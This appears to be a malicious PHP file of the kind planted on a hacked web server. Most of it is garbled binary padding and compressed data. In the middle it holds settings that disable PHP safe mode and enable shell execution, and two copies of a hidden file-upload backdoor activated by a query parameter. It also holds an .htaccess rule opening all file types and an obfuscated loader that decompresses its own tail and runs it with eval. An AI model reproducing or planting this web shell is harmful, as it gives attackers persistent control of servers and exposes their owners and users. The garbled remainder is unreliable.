^7Pne&ȰæpT$b^ M{,AwA]*u(8|9TqrZ`*THK*qro8aVyC1W"(wfbnscaezy
Mx5=Y=j[2T( aG|&X|3M"wfbnscaezy6,WD-Xx VdOU,
v~TpodY1ovOpmo8jTɏ{RLbj\Xz:ލmS{Ο7uACa\)M[pTq}.h͔5`QLQ&nz-VHK6wYjC
=@[End0
YK.Fڮy,utԪlnjorEOE%7jn,1~Ϗ8M1P@4R]D#IpBNc65|YhޯFd9jxtlqfntipevc?*A̵%-r嫭y,!\a6f͑⭳}C7FF~$?b`Ix#iE7}GTN,:-Uɵ`SBς5t\9`rPvU.Qײbatj^l4U[M%%ziGdR!_әC5{lqfntipevcQ;uɈ&fq"QCصɼ([CAR"C=X
t!͒ƏZĈď
:Xbr刄;
֝.ll.eO
ҟU :Ϭ/ş'7Q^.Պ@kڸ14 vK(0+GKFeEcE7 Z@쒅EbKLlqfntipevccSڏ⋿_3y6IUlSCO]uQBJl4Dlqfntipevcz|FnE_`H(g^{ZըC\\B֎wfbnscaezyCY{AϏa&}+'5ޤjԅ yкzn s֏Wn`^x,ts4aʈ$(P]sd][R1BK{4[yߐ[x4:Tl4[EӀP/=Vϧ'EdkrUvһj?m1v*y;8H*rY
ƕ/AvcCU%!e-E2K+5B*Y+tք~y@nfs;-+'ywfbnscaezywfbnscaezyyjr}XgJ@`+:Iz4KiaQ_}:,0ß.z,w.α[K.W`ށw|CTG&l=	Cl՛?,w+haۘZ~65J %v"Z9QsTHj5ؚyb/~/Z6z+AE%곌aQ01/=Mw|_EU@9\du%_R|":Q^iK2Tf/f+^R'x)&pܡp6e+1%s?]:u=Vܱl7e%&^r}λ^=duuj̚oQSRoJ~%fg.آ)%KP-#8$RPrJ,MF/|=C*^lqfntipevctlqfntipevc02Te[Jm!ϝ_/ۈԂ
ED$f0.mcX`&EƥPwuQ_8X_㮙H9wBlqfntipevcT
}w{,D:)	U%Ntp6p:EK|3RwfbnscaezyQK+oF?L"`tMovMbo@P$i~Z} 	p
#%#d|Z&7TcKb`QKq#H_ޒ9
^-c=bs=8┑%_l*3Wxwfbnscaezyaq&1ωɺl!À2bHg ݂CIײ#1fNvBl	\#8M77?;[	Z=A?Qwfbnscaezy .FِlqfntipevcK¡#wwfbnscaezy^~=5#sGsc0\Ф a!zk2G@btThAF7b~+5-oڜwPS.Qwv;_J'&I' Wh
WTto5IݨEYUĀc~ǐ @4;v\02ć"5 s[-w֌lp4H˘E@%ĎA;".wfbnscaezyXsg_g=s_4ΜYIht:zvaƌ=~uz}}G"[nD%G)*۹E	E"63v᝿,c9_VZϗ$_ OdRq:Hwfbnscaezy/c5Z+(wv  4ZevYq=U#[/l:ڛ(Ѣ30_--MZ[y14QKjxt&I
1BAS0U(\~RVJ@*NZwBk jHlY82rj%X+Z.Qy3=
vua^
"$ ]+
DsWayZ{LX)}bwfbnscaezy15lqfntipevcMq\ %kJELFNGԳ_hk⦪Fm@	Ms:7b(-#%(h, gφzW?u-ܝsצ+*6Kv1Vh9gcb%.,2{2}/g_ZD҅
!(,ހ7ik}v9k A)ħ{}Vk9
G[#ρ)iyjX_3,xG~
͙61AeG2/+}"X*â6@p`lvR͑V.奱|!L/%ly/5Ȟws֗ef1a~_і,fm H;zK#8@{~i}i]pqEA/FG˳lqfntipevcF*	ePJVKǪ_tS"pWlqfntipevclqfntipevc]̌ƣg -xsʿVSOÆw4EQ=v/PAgHͨ/\N0X=Dיoe]ͷ
wfbnscaezyVqP-Di\[o|Y((lqfntipevcxʦ/*SGKjIK-1i
Ut,UgrC[\aJ`;m[
	a0$]fwfbnscaezyeY}V	m̎8ttWW5qdwfbnscaezyИ%*7{UȯX5=eUqoֽ Q=#~F^wfbnscaezyǾ2+}Q#X'wfbnscaezy5ict7Ml8w[܆DA/^~d;aFg/{c6q=	]k*ӫ08X$
.xlqfntipevcsiFިabs4+\MDEA񕙯f4c_lqfntipevcn&I	 58ͅl#1Iͻ	gNIEE0M7G+=f*2TM}ﺜhը_|cMRMu'd4I#ԁBk0#M1%!$6
`AyT=s`^l1g6	-yBD
wұ[CSf.\'-E9~lt/=
`Yn%߿`w(I{aspT؁Q1[j9Uy8Ԛfw*zxyICO`jlqfntipevcM}P3\F#o$jA4.QĿς^Ce.2Ôn![+졊"k'rz=C.eJ29;yeҿw$d:Lw	P?lL{-sL-n+ƥVK]}sJ]bŦ)}ro8[.U$EATA0Xyrh"Cyǒvͯ!Ojdk&Kѯ9(PUmIrϣ\d[StMͰiH`+`TOGЎ`IGC_Ƙ&_]žwfbnscaezyWKO:XV2ϛ:De0d	x9"y+HaClfWNMk_#SBuDB=2#à'CamL$:zRҬl[ArlqfntipevcxIs*ބ^x(A8n7yTb9$#ܶW(V(4e~ոbkϵKI-הanb XcFѐTOzt,9]=_0ODZ)_#8-83U؍9x"D')K!֫6DGrƛy!i=L~|砵%jت'}@y3o;lqfntipevcEXԏӍ+~,sqs]Ĭ*"Cu2;RoQRi:ß0
	s}ao4iA7	+J㲾gwfbnscaezy58lqfntipevc߂;1`#(SZS o5s6ɼʰN2Puk
$h*68WV7;	(fݖ,qhixho޾X
jĄ!rTN.Ș3/	k_
MdP4Pk5|0li08dS#3Gr˔mԐ}}$#w4_d^l:3BH6Q´y--WQ3GМkr\E~QT^֍lqfntipevclwr&Up&&~;;stp?7}ms=+ĩedWQXPЗ线do;zsbzޔ_0ե &	jۉQ=P
8}ՐhOwfbnscaezy`[bwFrTt(MWX0rlg_~=-glqfntipevc\{@{ON.i3g7s30;sSuǹ$θn۾6od΅#rwfbnscaezyڨإC
ip+C7Yy~cU;k_ΥS\t\D)?`3$p[FGGl&72[jj8kΊ$m\ԢDhX5S\H7iL2}#ĳ8α,'%96XW
ZCءajNd#S2NwfbnscaezydcĩwWyݿfD̬C%sϜ::!w2	aO޷YXظa7]#ٛ%Dpik3lqfntipevcwfbnscaezyܶ#2W|1bԿ{lqfntipevc{-r˼7z0X8n;pϨX$=V'~˾U/ס=lqfntipevce#)ƁWCOT/xlqfntipevco;pnzZ'(Ov,0'SpaQ	/碷۠)hxwq͏7n6L*E!΁FX)rn
Ϻ;{ږw,6Cnhhe+pfd`mcI"F?ȕ'M6
`SectpTn%Ё*jfb 1lqfntipevcǈԁz Iy3mL 4[K =*wfbnscaezyλ#uŐ"yz}j7DW\;{m_yPZB⋜Dur:S&)\aIlqfntipevcfZB{"h̡`udYz- lqfntipevcZF3kpFK~}_^6٥@ӊ-oݭ -8POӃoM@Ch\
#*F?7ih#[וЉm;a+UzxbCCTnף3WQӄ_.w^VbMuyjN^ژAtN{%NjQɍ V:{B(UK}{dfӼݬjFsCgVX2k'XzrFlwp`}ͲR|Hcx8VfYIK]Kk?Ȃk]cUrx1I[) zwr\WWʝ$dg\E~
W^=nԉj4/)a/J]bâ4reM ek
n K]9k2U%ߛx
ﵣRr;b%xp*X|aGĕeŤUr\HiK=J-Q:#we31GadI{1d@b,}Pʟy¿	 EtmZ8ܯ+vYch[:i~};$Ų)#uzSq6'Mti^IөÍAt3Ǡ%0Tly9lhLg}pxְ섣y*]0^yլ@๺G
is	
xDwfbnscaezy-2DnR諟8 Xk)|Sd$=[*wfbnscaezyz4wfbnscaezyМDUt|k}Ȟ}I-)7zGUtB&`6JA*bk+d
cwfbnscaezy,*?:y*&ZݿF1ˆ-;'}bUwfbnscaezywfbnscaezy60
_{іwfbnscaezyoWן̓:]֬1[Fw rP59efz	kwt[{ʫ:n؈ aGij!{uDXE|RX2dZ-lU௾|FњX)\,7t:]wfbnscaezy9Rg$Bz @&J%8߅h7,6VrF	T+	Z@_edȷGMtPG 
a*MIH(5"wOPc,H/pP	,z*}A4Y gjcro1@ӍKwB˕X{RGduNQ{~s	y&㖅4w/)Q=oQ,ߏ[|ZƶC_t˹:tzXv3	7!9Uq{GYdH)XezNf`iP'5Eb!@8!2`D'VowR|5v;ҳmeoYeed_wfbnscaezy&.ILQZ{n=m^]2,fS9A _*)b;jPu#f`M?OFq8Owfbnscaezy,u;0+=ɑ,Sjwfbnscaezy㫺zL~C6b,ٗ)u-gNxI6]E_YO-[%e;!Q?
kf+DU$^:MwR a%?Nyճ.|&S;&Yo`5[5BOu9g~e4X.ZfrÛ34n
SxpXD٬\*ӈpbk3ǯ~^bac-3(*~*:uI}rylէ`lqfntipevcURAA)~lqfntipevcg*!\|/xY70Nś8߂gWH	Q{U/Y"(y7+^ܮ H a+N*bDϛL6X@ݻЖA10 k"~#-JE4uלJ߇;L:#9^|4;ntCilRN^Fq;2SDz7:1D|h*''Lϡ	ɌYh Kܼ9(!Piq0)DUl/ ˧	#)ǭRb%02?mAcv$Yזrr% 68EwyT0;FT|ՇX3e.di;bG.rtHwwfbnscaezy Kw~&bAc@ؾB5mB~wfbnscaezyTad cnSt
״hiTSdS|vݥD]{rCt4F%9¢	)R.V!IE.Nؒ? ?-ǎ\F_evrҿ"ّs4`=oVc~uí櫖1f" | 0+zi^Ћⵏ3zPLbM=0c޺ۏ#u+GAG`[XEd2^OS47bʥOddܻe@I# ZfSJ]E}Hޤڎ	$.ҷ 45|rvOQt8$ȗ6
KAK(k$Āg;`qe"~#K3C5wfbnscaezyVݏ=]eFzY'oݸDOn?Ԃ;ko*@?tXv/7ԯSOxG@*6dU_p[w୛WvZR$	߁}Gqh~nƀ_6PK0?$&#;^6E$04&WPNlqfntipevc{vv -jASnOȯu%KL_9Jdi-ڇ@Bm7NW+PVIP)	K}k"!1V:n!RCOb+`ߗ߆@iEXh_Fݛ_=9'RH
c;UT3` R&Rws̿v«dO	UWAc RW wfbnscaezyc_JrӖ|ҹpwu	"Ktwfbnscaezy1֡/TR6ϳJ\(TpI;#tR: IyŒ,`tժlqfntipevc:vz_D+5HF淉í+H1in@oڑQx:y0p1T2WtlԲXz2ނ YlL vB'u8e8a7*pH7䯒zD-ꚮ삑z\9m,@!wt87]gQ2
vt;|F.C-)'cNr}nfXF5ޗ[wfbnscaezy_w\BN6jG
jͳtA-_}n@Im7oTY7v'-8HwfbnscaezyM|HVכ5)Grgx5&a&t떣5ދ;9E]e{XhHO+;3BgÈZ;~珑h7LTo?{t#M^Fwlqfntipevc?hcV%Xì
O]2VYI^(ہ{&G{?p~8)SuYC-܈*w6g2h$c*њƄ
s6.EΨ,3GiF),ϡ&A+DYAj0|uCGL9zk"j[L}
K'$^B`#xszlD_txK33]u5UP=B,G=
B|wfbnscaezyQĬ_ħqFڋ|Au-1H?N~r|JNZ:x82 w6[Gk{	{"~UL%zז
׹bS䅄&8iH 7bsNO!&mŕVqFw KݟFJf``-L5XNDvU}AԿ׽RXT|C.k{wfbnscaezywM $41+N%3
K9š9v :mi[!{Po\ѴSTbԑ( JZx#0g[P uEfw=Q ,K^
2y UMIn )Ht]4ošp2ɑo,@%G9Tx4\6{&ָG8UJay[z7շWe0$c@.4R$&o Hݽ(yEF~wfbnscaezyYwfbnscaezygEgd0gM2"%fqR$
Vv:wfbnscaezym8[lqfntipevc(|
_e%a,"@8h_ 3JQ'}MEV|VMu;{jPQ_qaD7J||G9w$LK}Lsyblqfntipevc
'GiUhiեy)n8ffﲓp^:̋N֩~YwY=lqfntipevc w؇q}R?p7ڙڔy`,$B7/Z.j?{Yq!˻h(D+.lqfntipevc4	r !.XQʳ?KYfg%
9@bRlqfntipevcӭCѲKZHB1Z%0VCFsTڜNqP&F~(IɚRalqfntipevcNqqb!kNM8d.3:0kup'E78ָ"*3r"0w{%_ :|٤#d"zy!ݩlqfntipevc67?aN_rj{Ƭ$ɴ2T}=T5\Z"	~DEKn;,ˏt3ۘW.Ǡf705
cj3
nSȰ߯% Gl_gVZ6W۳JyLV%1Vi-Ļ|*?oZ/Tm%P	Ʃc2Kl
tAk,DlqfntipevcGR~{v
i fH@,z=wfbnscaezyztBPqiSinRT?7k.i	eD-3Kjn,DGE&o-qw5 I*o)߬}pM
;X88nMdS,mFF	nejJ_pi[ol%Wp22E3,B0a0\5\ě+ֽ\aǲ&3˵㊡9|^6ABe7ُgQ@-6"lqfntipevc5Bt+*PU@$'kgKV+%6~ACSXo_J/f6y嬍BYH%c;@wfbnscaezyR2e?pPlߥcdUą!uQX*ee1s4q.LZ[/9dVxwxX|M|ΜqKr~Ҍnx򷵟D6Ch*:L׍
(%k?3\_CF$VMR
ģǃեtb/Q#Tpc(LRM 7g%FcܡƸg|/,%̍ϲo,ChC3^ˣ!A{+(N^8\^~t%oϚ!:	0%.P!k\$S;U2Y7wfbnscaezydМ2Dh,un${:A;
 Bc*Wwfbnscaezy[Ѻ(Y栫w#bvbqRBB":r{JHK.3^%^X9_"CwfbnscaezyE
4	~K	FՋף5GRkD|mdIׇS:r$;0jz8-h &hlwfbnscaezyIq{.+cfl2[4 yi^wfbnscaezyrJ!.J#SL{n0HİhG:&Px!xzLCbWtszڮclqfntipevc62[`ҮAoL|L eq$Nt@D\XV#]֒(h)ȼw#W@Ք@A)9vEzKomf8tW^jc oJBTDMȖ{X*JTdd3).IN+gBwagn\sJAkD31\q'Fh"LZ Եό*tGY8y)Gɪwi̥DڒI=~l!zbH)-	Tq.lqfntipevckL⩩
M̑
FisrWq(۲aPشvͤ~"6ia#&ù.@ piGշ?S9&KC]
=ϓ(_,H)[[g*#wfbnscaezyfNCc\
J(2vxqivҮIӼ=*G1OoʏI*D3nYՋo
TA
ЦqhlqfntipevcpUwI
*yOa"wfbnscaezyO[侊EfS~ŭBr6Q˜5W'{=@GDc?;&o*cSYD7ʌ2B6xy)w}ߘ0Z0[;ո0i'wfbnscaezyNZ(1U[wfbnscaezyC-8IJ΢)Fuv\rWT4򀩟46B1(lqfntipevc:	9N&T!R2,Rv!`kyr
ǣrb&~Wd% y$ESom?P?Ň:7ElqfntipevcR/]d7կg!tثdA˃Z6ֈg2HqETROm~ rh qDc9\u묙J, ,4+jS0L\˽I%~g@j}#P"|Q4%N+d+ߧzYkT6BTݢ)Wwfbnscaezyn+=OiEΒ\`A4O)Žy̺{}_B.}f @IrŽn!8KȄ2⚔,еP!6UlZ^V i
U""ͅo݅2i7_eH	2))`5Q|cvң
}fW-
 HB=:Z@?zl\TFtMC!Fig/M
2#j&i+chuW-bh'/i7}_Y\|Nr	"
A}M&nd-^[,[mӦȮhaABwfbnscaezy9`zCՕJfuؾ:3zgMw3 6@pW%.DOf 4tʤ鏅v\/3!yi4FF(@tIΗfB'B~~7M24ѣXP\9k czE4/׸lJU)*D -v֮יAz-E9m5#2U:&ԍ *
rHF{ ̫!גQV]gLmܫPC5b}9g)F
ewfbnscaezy]eAߋ&д˴^MD˞%(.G\/ˑwfbnscaezy[#"/4,!H~R'zO#佂D
sh=yy*&/]:rU_~B2]?LI$bʳblqfntipevcDzq/lqfntipevcŁ'8tǭ/0OOn@Kh(44s޻ނfV~]pqdCa;V$1P
5?Iwfbnscaezy|DV]f
R^ }h"H?Pj:eE9[ wfbnscaezyo)^W
y*7!l ~7џ 
	1suJd2PشLV7t}gAyڬ~U=]K3@%lIgp̝q*,^b?
ΓБ'@mdQeZlwIȳǻ% cpW7آ32Yr:nxHIsIe
拢۹}Ed~PWN̉B
߬?-h1j*3"f&-^Xlqfntipevc4&ǴHU,eMɢŷo
Lrl(]"t^!wfbnscaezy*mav
Hk_)ߠ6;[=竲nZXFEPk3ݼCn'P3$1*e7OKXcEٳxӇY"D
 nXQL*] cD)x1c I|m4zjxx5	tzx$wfbnscaezy_ 1͛"DA,Gȑn:&]?_m")$1;?$xh;)RT7QN!t*j"4k*^6a&8#	 j(,8u/AOKNoezDM=՜'/%S@8jtES'4=w 3cO?/~ϯpIOlqfntipevc	`}(%菐5MIf-.y(2Dq2p@wfbnscaezyoC
f7u'ׯe]@?~NqmwfbnscaezyCF}. htÕ'
7:Pzw4`BTxVMy.YNYnD$+]C=)P)1s4G-SowK"Q"D:lqfntipevcML멮ȭ8NFl˥ǚō
ż?t(~5mKFN`|$*b"hwfbnscaezyz Q`CSpmDq/6;vkqw0MѠQ WE-
:oGF/Qͷإ,wfbnscaezy+lqfntipevc[dlyب0BܱMh\LYH3Y#%TCJJF
CaQi{2\WKs$Qhs嗕
rlqfntipevcou/fhV-6q4؊٩	V3핂${dwqoNB(neyοEH%xiefldW1\k1ѮyJr߶"6W7 _5fG u|wfbnscaezy-eJ_{PIY6ܩ1!9/|,b-5o$,;^VS*

CkތY]4[m$(ߣ)rއCm'S{)b/ho$ѥY:q$(
?T4Hu!91@I.ݮK5^|pB$~p'c_ryk.93߂]KŁߖq86lqfntipevc;V|t~8W
Mz?1,K-Pl0X@Rguv!;?NCLJ1!m/J;gŻ,VW-\ }uE.|Z/=0%K"@ Je9
U"îW*w\wfbnscaezyPbA_ue1LL2z-n,BlNV^#pm
wfbnscaezy]
]g}QJY)pQ	2Hv𬫺bŅiA+uEm(ȸPo'03ꤰ1A5,߮?qkm!"aZUIq:pK-eS38֢c(/.ot#쪬ЌIjc7ϳ5=1~CD(0Jg˕m$Oģʿǣsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$CgKA='file'.'_get'.'_conten'.'ts';$MCDg='sub'.'str';$TmeL='s'.'tr'.'_r'.'eplace';$SPUc='gzuncompr'.'ess';$CKVI='exi'.'t';eval($SPUc($TmeL('bqychaselu','>',$TmeL('gjediphlmo','<',$MCDg($CgKA( __FILE__ ),-172223)))));$CKVI(0);
?>
xDG@J-ڬjA+kh7mhMկk1o/t=;$Vr۲0\^J&ߓbqychaseluw^d;DwH4cbqychaselu'|a?n7=6}D#Ww,e^lX9?0
H(.3˂*h!??z=UH{r׿_	] xOanU ȓT	x*܂E8P|Ž|f`_J"8gjediphlmopRN5qJZ~8FMYU)r%z&$ 	!gjediphlmo#7ECԉT+Srb3!~ORz};r5XKKG-oq'R419Al+k@T+Őutt2P!,Xa5UoL+P."Ft=忐޻5bm]	.2QUݔabcPbs*z=9#v}(E8iVsZXcRLՁ{2RKO]vfbqychaseluhfA`[Ye BKW"JKS!Еmxz8_z'PFrf.́EIN0bqychaseluMf._x)hDX]ybqychaselu݁ܛ&d5xJf{FK`ig;4~eO Cn?ŵ݉?i01м#wEd1Lo+sh [ӯ7~rgI@ZN_rp.EQ@cMkO9LG5PyպjZQԃAOR{'3cD⫳Y 6)fwUIF!u@TiBPmǑI|'/^GDըd[KYه{0Xy|+!LR*t)7l b&
qxU\J^,_Ns  |}#?g2	Uq`#rrƆM
;QB
::TLڧ,o㬭4FnfbE『 V:"inEIA0,^r'v/,
ּOxGz
G"c[+3_o?w ,Е&]t:) slgos"!j;JWmKBٛ-ƾoFtR`
I=[fPbqychaseluAܱOBYm~Zڇ xxK-_W@X#{߃_dhí|c&j3+x\lQfhZ?ZbqychaseluV]pk jDyBᙘ&03
 y.6f$~EӡoY)s"kmo97"s:0?3!8k5~EO`\Or*)xS`J^sCbqychaselu33۵TYgjediphlmo!JWo+JgjediphlmoLa|k)IIJy҂M~X!In=
YTFC*RR*R(
"Gj1$aV91^69FŪa 
v|	Hgjediphlmo۶$4@.A#+?ۑ%38lª¡kS-	[~N"M(.}P^)7X0jۋiAɰi&y
%SD gE2
s7.@0kK.!
_xhX¯LҀqlJ~Kbqychaselu01y tgjediphlmoQчiT Q'=}^gjediphlmo˧Uw;R5AʰL|jؤrV0a
V@~s3l
O
I10?)PA||v_0)O)5DbqychaseluӡFY']2\;{];^MH^UcEhE#SǴ-5+l3/.`*OUAn]ЖkfFc2uIǣ\X5Vn֙k:=?mEAgjediphlmom}!KqLmbqychaseluĂ&b(OεQ@:;JCCǄĳbB?U3t) Qv(7SI/\ЃeI\/+5ثȚ샮b7TZW\3HlN#Qbqychaselu]Uy!Xk}UeJ%4hv1Q#*ybqychaseluYCD诠T`!}#q9ؓ_ah̽XUr^L=Gߧ_ښoShizʗprOܶU}c~$tS0X[bqychaseluF"ce~#1:I($ů˻fQUk,~Ggjediphlmos4kUNi:T)-DTEY)ubqychaseluAjk$IMk֐1~&K:wCPUa6]d
J9T(`$KT%8ċ_n.@7l`gjediphlmovC{ueJ4
?( O45*z^iϡO|Dݹ|kZ +]y͟o+CF7OG,FL!qBB/DA#B.z\_I%׻QˎF╏;VYCk͗owҤZ?ODNor&PD2qNA`^̎JWʠNog:?14'mooŜ|/0YT򷗅QdFg0Fy|sUԝL*U^3b
fzo=D%ЫH6EP}PXu=%XY)pY q=\CuW q|2V
Z[]y'-X2g\+(8|bqychaselu_z/S3SɃ$WNu!bu3Z_hƩ	+4]Y#*nȅ lfNG#
i.%K\Al~臻$7#%#ϩy=ٌ}/+H̭68yoco3tj_ܱm24⟟k~()O/@d%n.M	+Q2b0]YwϧO[˚6Ll@sbqychaselu
ALqB@zxk)ƃqfXcS	S~l*zW(/PTKbqychaselukcbagCEVl|yMH;vOE MIIbqychaselu:ȑ[Ct%?MB|rMӽ#VŭSZNVDc{wr]&pоQgjediphlmo$&KbqychaseluBؑ,{Aqx!ڿ$8B禤bqychaselu'rզ1	
bqychaselu; Qr1DQzxF~$R矾ぁL6̹%\VX@LS%Z 0)탬ɟ-Mye̾Mc:XG-./PVPB~1?/бq=TF#xټo&Vgjediphlmor'tkKJxr9  Yn
$sbgjediphlmo[4hm{ە#}1fOnlr(e(Nb0MuVEK`ѕ&W7zod"#x_yO˱!P=\}}nl -ӓ\~O 9/U)l7x}J}Ta;åy_0}MfV6H^S9`yS]]gjediphlmo"$FG`-;kVe3EP)B=E%9dw7Kgk:&)O0QgM-sKiX
W
7mA'_:A48[;b~`շw*.6*ƣ(dgjediphlmo!Qm U;f\݃D.WQ&XEQ*j`3[fzmx?YyEv"4V;Ӹ}D9Dj2w&#]^':0hid
P )90n7[)/"LtR29X5&Ƹq"V{lΑ#Qb'~YzqgjediphlmoBPxbFDkCnDBOWis	Fߋq,u}lw}岚-\*,`2}s/(GAzUrJ%wPgEBnw R.c!Pv-k*j#=GpZV5\pObIKbqychaselu
gjediphlmo"0? 
y5* wGC0iu}
Gy&uc0Fj޷}5IENObqychaseluT9	H2v]j*+Qi,gq;Y6B~(k6!U|,AvjL3y.4(ě*8~KSB0Y#ҕIizET~'NBS?J\j0Ǟ-/!e7ubqychaseluE0a#mz}u¥~f^vP((61MrFॹ*D,Y3Em'!j}
*p5(Uڴ3	x6GIhɷP`膚
}|VൽKЂ4?G$lIf`mX&Z'[("2iWc
&vfI^}$=Rloe2/%\t~nan~dsKg"{e"- v'rbqychaselu5+}bj}q,?+)M
@~9XJ
qbqychaseluy%yՉo-Q?CR_ɲ	҃:/iMsҰ#X 2/Bm}Zʣ.f=
-CIϊB(6(KcA3bbL34ٝ/9wgjediphlmo*Lrgjediphlmoe
8w^*f9GjCF/&
\#Dr;0Njbqychaselufx6Us۲VџiWAZ3O3*$`
\GoENTly@bqychaseluZV3kq"lU"pQh#M2c5/0=bqychaseluF(D\Y㸃@bqychaselu!~_JD~D@
mᄭRG[c䝋G*!\aQ6 O !F(ŋł	x˛SN#{wx`WSٗj{eEav%]{y:U!bqychaselurS!+cnNڎԶ(H1vb3}P"*LsB}Z{-/	e+a.*:y]CfҸQu_9p)mpUx7A'CnHeRcUhTo["ӑw1~Q=} Zh7pنtܜ$6_;%q6  uЬ^2~J|^hݕ'鉀z}DB^#E3QK

E8$d-sbqychaseluN!R2k}$7#y[ɲ(߶/ 
#x9:9މⷰ@NI?bμ]s
2AɘQfbqychaseluѡIUt# e7dh"-{7#;
L;f(W5}PL᏶f2ռ(eU('sS?6V\[$Q/E.W淌&N;dIL #{.臇5uJi |\qTDѵ~c4aH!7qR"bqychaselu-yQ)[d:dy(HZD]K̐%댺DSδ¯VGt0O'2t9"VHΙ5Xe|bqychaseluc"5ZL6Obqychaselu|(`7&s
,hQ.hi=[gjediphlmo7txB!ibog !0qľI윤Nx p84$jzٖ)vkS`Aa\y+s91Iل&VFgjediphlmogJP&tRȭ`03Կ2ŨWsڰT5VYv8+QJ_-V3F`7IK',{8H+{.og
lkB(AeEw\Ce&6Be5+pNPnd+|p~ٗ~F}{v8*8\Wed,p-vB&1D!9KW_}"}#
:Jg4گ{*+l(ځmE}⩓2*l/&ķ*q[S01$;'.,#T1wyWC쓘0@b-418M
Qϼ| &ɷ\K2THF =gjediphlmo䀺iVjg8u3dQOz`G!E(,Yg3*])8$.+.m\UCw&Aodtn#]5CgýxI6x޸p{?Jwex=3xG*2gjediphlmo|n*) )懖'IR]*FǇ(Zcu&Lb6vC)OgQ1sQ
ve#?*Α7'A:nLnE2sOXўQvb__p@YbqychaselubBkf}~U
aEO(g|Tflg
OMS%}?D{b
$e#?	+4ra)H+jޣ*M dZ),[eE}?bqychaselux	mXbqychaselu1nSl&s~qm3b*@'Ƕ$w_TrpѬ5W@HPW}rŹ|TxCO?~~p;N~bgL1ͰWgjediphlmo#)OWB)ZY N^,l瑩]Ro@UE9"Δ)Xa+9ː %CNhhloNCKSZXpcϞ^J%b!
s^g!dU6oXXqo{sk-R*k
ӡ.J"853$üApQ-Xiаi1HM(i!ݍJ_cDnױFrn|qe428W=Tpe m߬`]["~^6Ͷniخ|È\/r!U.Zkh*n!Ok@RԣP	Ed.^ŠsUܐuBF#}4d:Ϥj3=Ɍ$@jl;0CO[Z뗊ޱk8+o^mOQFB}Nݍ#Wߔ-fSl6]aÔu[eC,&y}k2rsl8& Įu\'7L*GD]	'{
#ATȢ-6uIX).GL2"hѢ;vNr]lnI=Uc)$ \LѷmtbMmjdF065pQEil2=aQgjediphlmoZb[3z6N'E2N9$[bqychaselu^G!"GHC)Ó'B{RNv]Iw-Jݝ14doLԊv)1E`MpJiYTr@?Qcsӛ̕Z=0\EMpq5y~!$sŋ9Frǰz[ ,j3BZr
`FNókUԏ2;kn@UR%vV,Iܽ;e H}!*MYyF/LS@l6&f8OAbbr )iFTۄVg5uϬ?S_Xm$|ޓf
lB4* FA(Dtvgjediphlmo?"kbqychaselu AސM%*ɦm9f gVΎݕq\or\P8Rޥe9|l{UDҚ
Zdz
}zė^opEѠ=Hqx֝EBTVX9z^AsIL8pl]!VX	|pVvy
vs
:Ðn[]
FH!NȇU\*)Hih{~;p1|-[-$rOt#mgDgR{Lx!We 6d,Ak~NMkJ_X1UkနnG+kXB"ۘ8۸mWbqychaselu$El6C6bU5
(pmp2(bqychaseluQ
F81gjediphlmo;Ǎ	hp0agб:~Xd!A6ROZ_gjediphlmoHgjediphlmop48G@*dP%vLbPOgjediphlmoiː:tvBbqychaseluLq(Q(F{r\q@m{Zꤢ%'£4'leߎXIzcqPddHklxrXZ0ZC#/ǭQOmrw Lo+/GSlmNbqychaseluD2(sǑ^ vep҂}CtkZ	-XagjediphlmoW{bqychaselus9$4\fch}Aȷh¬h
OkLd|f-U+7X)W*"ڶ28(:p\%%[R_cA|f;"gjediphlmoThHش.ė-gjediphlmo0\-\-g$.Hҁ`迗5qOɓHgjediphlmo{bY[6?m]l2
dA}y.bE$#$;UQJuzY{QVA]+1hÁ]Ӣ M!񢨲=/u"0SDl~ý%~ZkjD
آ,[.fs~ÏUgb_ N	!tQ	I5UМ7=m`C7o~R|
k^/Y|
Mgjediphlmo؇9@hRA'FJ$a1;%p^w|\AYl;k,XKegb1L*CL,F2U*|u~
?ygB8Ŕ}$|(~rQR |
KHVC"	#r(9Ĳ ѕ'8'X3M9LI2b^dOF*7bqychaselu
M|#³
T=y4:#9Fn_Sh妲Ǳ0$}zcGc++Bg [W$`+#YW~y]Aid|Laf-bqychaselusgjediphlmoW,lMgwVe?&  
^Pܮ_joĉw=NHGoY[Cو+-zqPMX~ۏPP+@ Z!bqychaseluEGuNڌR=[%a͠98+~ΙpPo
L]my/ӤUuwwrbqychaselu)CfgjediphlmoF~FSg9*(D` 01[ENy
8WLjcNC4Ta[[`M8qXbqychaselu[xIЙqB8KS83AjL$i4=:/Vӣbqychaselu r[$B@{+MQc9lC΂iC{et{/*/&'ȢFc,PSo{sj}QlS)$/MMqc"֮#"bqychaseluES;'r+y(W5 ߫sTsy8gb:+[ΎY&|%k{5Igjediphlmo`ab7UW9
r7z^ݟV5%aLY-?gjediphlmo`rчr"E(턴ơ)O鍒T&yWy"e8fP?˧DSPOFSĻbc2;:JüAh@ϹU8jxxv~#y9[Ybqychaseluv(SCH:#D(%@[tډoW NN0VӲ7gjediphlmohm
өv,ݟnL!1$-@Vm
hpC0
KCp	㧟 F$._܏@	+7V}JqH%;ZGꖂCZJJj23S-adM
#dnM'@+xgjediphlmo10MvF|PJp
G=CIKgUNq4l^LTRǯgjediphlmo9u #_0:8e0ҷ寝C}A`A5~ixygbqychaseluB+!jtRfCe	׸У5pm N5`nʪ3+ΩX*{V,q\sXLwgjediphlmok7bqychaseluir=]A5U}:a0:5`SM?ϻzx C%qLWf!7XgWWHg=Kȵa!on,3KL=r=+rgjediphlmogjediphlmoTߠ/
q O{.sO``+X0먦sLFA@Z .
